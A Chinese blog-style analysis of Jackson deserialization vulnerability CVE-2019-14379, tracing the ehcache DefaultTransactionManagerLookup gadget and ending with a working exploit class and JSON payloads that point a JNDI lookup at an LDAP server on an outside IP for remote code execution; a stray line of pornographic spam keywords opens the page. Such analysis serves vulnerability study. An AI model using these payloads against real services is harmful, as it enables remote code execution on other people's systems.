欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

分析jackjson的安全漏洞CVE-2019-14379

 更新時(shí)間:2021年06月01日 12:39:54   作者:飄渺紅塵  
這篇文章主要介紹了jackjson的使用及CVE-2019-14379漏洞分析,ackson知識(shí)點(diǎn)序列化和反序列化,setName和getName調(diào)用順序,通過(guò)實(shí)例代碼講解的很詳細(xì),需要的朋友可以參考下

Jackson 是當(dāng)前用的比較廣泛的,用來(lái)序列化和反序列化 json 的 Java 的開(kāi)源框架。Jackson 社 區(qū)相對(duì)比較活躍,更新速度也比較快, 從 Github 中的統(tǒng)計(jì)來(lái)看,Jackson 是最流行的 json 解析器之一 。今天給大家介紹jackson知識(shí)點(diǎn)序列化和反序列化的時(shí)候,setName和getName調(diào)用順序:

    Student.java:

package com.test.JackSonTest;

public class Student{
    private String name;
    private Integer age;
    private Teacher teacher;

    public Student(){
        System.out.println("student構(gòu)造方法被調(diào)用");
    };

    public String getName() {
        System.out.println(11111);
        return name;
    }

    public void setName(String name) {
        System.out.println(2222);
        this.name = name;

    }

    public Integer getAge() {
        return age;
    }

    public void setAge(Integer age) {
        this.age = age;
    }

    public Teacher getTeacher() {
        return teacher;
    }

    public void setTeacher(Teacher teacher) {
        this.teacher = teacher;
    }

    @Override
    public String toString() {
        return "Student{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", teacher=" + teacher +
                '}';
    }
}

  在setName和getName處,新增輸出語(yǔ)句:

    調(diào)用測(cè)試類:

    jackson序列化和反序列化:

@Test
    public void test2() throws IOException {
        //序列化 對(duì)象轉(zhuǎn)json字符串
        Student student = new Student();
        student.setName("jack");
        student.setAge(20);
        student.setTeacher(new Teacher("lua",33));
        ObjectMapper objectMapper = new ObjectMapper();
        //序列化JSON串時(shí),在值上打印出對(duì)象類型
        objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
        String result = objectMapper.writeValueAsString(student);
        System.out.println(result);
        //反序列化 json字符串轉(zhuǎn)對(duì)象
        String jsonResult = "[\"com.test.JackSonTest.Student\",{\"name\":\"jack\",\"age\":20,\"teacher\":[\"com.test.JackSonTest.Teacher\",{\"name\":\"lua\",\"age\":33}]}]";
        Student stu = objectMapper.readValue(jsonResult, Student.class);
        System.out.println(stu);
    }

  輸出結(jié)果:

   student構(gòu)造方法被調(diào)用
2222
11111
["com.test.JackSonTest.Student",{"name":"jack","age":20,"teacher":["com.test.JackSonTest.Teacher",{"name":"lua","age":33}]}]
student構(gòu)造方法被調(diào)用
2222
teacher構(gòu)造方法被調(diào)用
Student{name='jack', age=20, teacher=Teacher{name='lua', age=33}}

 結(jié)論:在序列化的時(shí)候調(diào)用set*,然后調(diào)用get*方法,反序列化的時(shí)候會(huì)調(diào)用set*方法,不會(huì)調(diào)用get*方法,調(diào)用反序列化的json數(shù)據(jù)對(duì)應(yīng)的類構(gòu)造方法

   CVE-2019-14379漏洞分析:

  影響jackson到2.9.9.1:

   這個(gè)漏洞還是比較有意思的,其他的cve,我都看了下,都比較簡(jiǎn)單:

   先安裝漏洞環(huán)境依賴:

      pom.xml:

<dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-databind</artifactId>
            <version>2.9.8</version>
        </dependency>


        <dependency>
            <groupId>net.sf.ehcache</groupId>
            <artifactId>ehcache</artifactId>
            <version>2.10.6</version>
        </dependency>

        <dependency>
            <groupId>javax</groupId>
            <artifactId>javaee-api</artifactId>
            <version>6.0</version>
        </dependency>

  單單有ehcache依賴是不行的,還得有javaee包,否則調(diào)用ehcache的時(shí)候,會(huì)提示找不到!

    反序列化的惡意類是:net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup

    因?yàn)榇a量的原因,直接靜態(tài)調(diào)試了,不是很難,通過(guò)反射進(jìn)入代碼:

    進(jìn)入類:

   找到這段代碼:

public void setProperties(Properties properties) {
        if (properties != null) {
            String jndiName = properties.getProperty("jndiName");
            if (jndiName != null) {
                this.defaultJndiSelector.setJndiName(jndiName);
            }
        }

    }

  獲取jndiName的值,然后設(shè)置jndiName:

  繼續(xù)看這個(gè)類的其他方法:

      

public DefaultTransactionManagerLookup() {
        this.transactionManagerSelectors = new Selector[]{this.defaultJndiSelector, new GlassfishSelector(), new WeblogicSelector(), new BitronixSelector(), new AtomikosSelector()};
    }

    定義數(shù)組,存儲(chǔ)了這些數(shù)據(jù),其中包含了this.defaultJndiSelector,這是重點(diǎn),等下會(huì)用到

   this.defaultJndiSelector的來(lái)源:

    

private final JndiSelector defaultJndiSelector = new GenericJndiSelector();

  發(fā)現(xiàn)defaultJndiSelector實(shí)例化了GenericJndiSelector

    這個(gè)等下要用到,這個(gè)先標(biāo)記下.

    繼續(xù)看這個(gè)類的其他方法:getTransactionManager():

    

  代碼如下:

public TransactionManager getTransactionManager() {
        if (this.selector == null) {
            this.lock.lock();

            try {
                if (this.selector == null) {
                    this.lookupTransactionManager();
                }
            } finally {
                this.lock.unlock();
            }
        }

        return this.selector.getTransactionManager();
    }

    跟進(jìn)去this.lookupTransactionManager():

    

  其中

Selector[] var1 = this.transactionManagerSelectors;
        int var2 = var1.length;

  獲取的數(shù)組內(nèi)容,就是DefaultTransactionManagerLookup類提供的,繼續(xù)往下走代碼:

  

  跟進(jìn)去:

    

public TransactionManager getTransactionManager() {
        if (this.transactionManager == null) {
            this.transactionManager = this.doLookup();
        }

        return this.transactionManager;
    }

  調(diào)用this.doLookup()方法:

    跟進(jìn)去:

    

  跟進(jìn)到了Selector類,發(fā)現(xiàn)這是個(gè)抽象類:

  以前寫(xiě)文章說(shuō)過(guò),java基礎(chǔ):抽象類方法的實(shí)現(xiàn)在他的子類繼承,如果想實(shí)現(xiàn)抽象類中的方法,需要子類繼承父類,然后重寫(xiě)方法.

  尋找他的子類:

    

  跟進(jìn)去看看:

    

  快速找doLookup的具體實(shí)現(xiàn):

  

  把代碼搞出來(lái):

protected TransactionManager doLookup() {
        InitialContext initialContext;
        try {
            initialContext = new InitialContext();
        } catch (NamingException var14) {
            LOG.debug("cannot create initial context", var14);
            return null;
        }

        try {
            TransactionManager var3;
            try {
                Object jndiObject = initialContext.lookup(this.getJndiName());
                if (jndiObject instanceof TransactionManager) {
                    var3 = (TransactionManager)jndiObject;
                    return var3;
                }

   發(fā)現(xiàn)調(diào)用lookup,遠(yuǎn)程調(diào)用我們的jndiName,jndiName可以通過(guò)properties設(shè)置:

Object jndiObject = initialContext.lookup(this.getJndiName());

  

  至此都分析完了,觸發(fā)jndi遠(yuǎn)程調(diào)用的文件是:net/sf/ehcache/ehcache/2.10.6/ehcache-2.10.6.jar!/net/sf/ehcache/transaction/manager/selector/JndiSelector.class

  只要我們?cè)O(shè)置我們的jndiName為惡意地址,并且調(diào)用getTransactionManager方法,即可實(shí)現(xiàn)rce:

  構(gòu)造exp:

package com.test.JackSonTest;

import com.fasterxml.jackson.databind.ObjectMapper;
import com.mysql.jdbc.MiniAdmin;
import net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup;
import org.jdom.transform.XSLTransformException;
import org.jdom.transform.XSLTransformer;


import java.io.IOException;
import java.sql.SQLException;
import java.util.Properties;

public class attackJdbc {
    public static void main(String[] args) throws ClassNotFoundException, IOException, SQLException, XSLTransformException {
        ObjectMapper objectMapper =new ObjectMapper();
        Class.forName("org.jdom.transform.XSLTransformer");
        Class.forName("net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup");
        objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
        String json2 = "[\"net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\",{\"properties\":[\"java.util.Properties\",{\"jndiName\":\"ldap://119.45.227.86:123\"}]}]";
        Object o = objectMapper.readValue(json2, Object.class);
        objectMapper.writeValueAsString(o);
    }
}

    這里要writeValueAsString序列化一次,是因?yàn)橹挥姓{(diào)用get方法的時(shí)候才能觸發(fā)lookup遠(yuǎn)程調(diào)用,所以這里需要序列化一次

  運(yùn)行代碼:

  關(guān)于惡意json的構(gòu)造,參考一開(kāi)始寫(xiě)的測(cè)試類中序列化的生成,我是根據(jù)序列化生成json反推出來(lái)的惡意json

  淺藍(lán)提供的exp是:

 String poc = "[\"net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\",{\"properties\":{\"jndiName\":\"ldap://119.45.227.86:123/hello\"}}]";

  這邊執(zhí)行提示我json格式錯(cuò)誤...

  真的學(xué)到了不少哈哈哈,還是比較有意思的,雖然實(shí)戰(zhàn)很雞肋..

  漏洞分析參考文章:

    https://b1ue.cn/archives/189.html   

以上就是jackjson的使用及CVE-2019-14379漏洞分析的詳細(xì)內(nèi)容,更多關(guān)于jackjson CVE-2019-14379漏洞的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

  • 詳解Java刪除Map中元素java.util.ConcurrentModificationException”異常解決

    詳解Java刪除Map中元素java.util.ConcurrentModificationException”異常解決

    這篇文章主要介紹了詳解Java刪除Map中元素java.util.ConcurrentModificationException”異常解,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2021-01-01
  • SpringBoot?Mail郵件任務(wù)詳情

    SpringBoot?Mail郵件任務(wù)詳情

    這篇文章主要介紹了SpringBoot?Mail郵件任務(wù)詳情,文章通過(guò)spring-boot-starter-mail包展開(kāi)詳細(xì)內(nèi)容,需要的小伙伴可以參考一下
    2022-05-05
  • Java中的排序Comparator類用法詳解

    Java中的排序Comparator類用法詳解

    這篇文章主要介紹了Java中的排序Comparator類用法詳解,Comparator?類常作為?sorted()?方法的參數(shù)傳遞給?sorted?方法,用來(lái)解決給集合排序,自定義排序規(guī)則的問(wèn)題,需要的朋友可以參考下
    2023-08-08
  • Spring Boot Rest控制器單元測(cè)試過(guò)程解析

    Spring Boot Rest控制器單元測(cè)試過(guò)程解析

    這篇文章主要介紹了Spring Boot Rest控制器單元測(cè)試過(guò)程解析,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2020-03-03
  • springboot使用消息中間件

    springboot使用消息中間件

    這篇文章主要介紹了springboot使用消息中間件,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2019-10-10
  • @JsonSerialize注解的使用示例教程

    @JsonSerialize注解的使用示例教程

    在開(kāi)發(fā)中,有時(shí)候某些字段需要特殊處理,比如我們有一個(gè)日期字段,當(dāng)日期為NULL時(shí)給前端不返回NULL而返回為其他等信息,就需要自定義字段的序列化,這就是@JsonSerialize的用處,本文給大家介紹@JsonSerialize注解的使用,感興趣的朋友一起看看吧
    2023-11-11
  • SpringBoot中的Mybatis依賴問(wèn)題

    SpringBoot中的Mybatis依賴問(wèn)題

    這篇文章主要介紹了SpringBoot中的Mybatis依賴問(wèn)題,包括pom導(dǎo)入依賴和相關(guān)實(shí)例代碼講解,本文給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2022-04-04
  • springBoot整合jwt實(shí)現(xiàn)token令牌認(rèn)證的示例代碼

    springBoot整合jwt實(shí)現(xiàn)token令牌認(rèn)證的示例代碼

    實(shí)施Token驗(yàn)證的方法挺多的,還有一些標(biāo)準(zhǔn)方法,比如JWT,本文主要介紹了springBoot整合jwt實(shí)現(xiàn)token令牌認(rèn)證的示例代碼,具有一定的參考價(jià)值,感興趣的可以了解一下
    2024-08-08
  • jasypt對(duì)配置文件的數(shù)據(jù)加密與解密方式

    jasypt對(duì)配置文件的數(shù)據(jù)加密與解密方式

    這篇文章主要介紹了jasypt對(duì)配置文件的數(shù)據(jù)加密與解密方式,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2024-01-01
  • 使用Java代碼將IP地址轉(zhuǎn)換為int類型的方法

    使用Java代碼將IP地址轉(zhuǎn)換為int類型的方法

    這篇文章主要介紹了使用Java代碼將IP地址轉(zhuǎn)換為int類型的方法,這也是各大計(jì)算機(jī)考試和ACM以及面試的常見(jiàn)基礎(chǔ)問(wèn)題,需要的朋友可以參考下
    2015-08-08

最新評(píng)論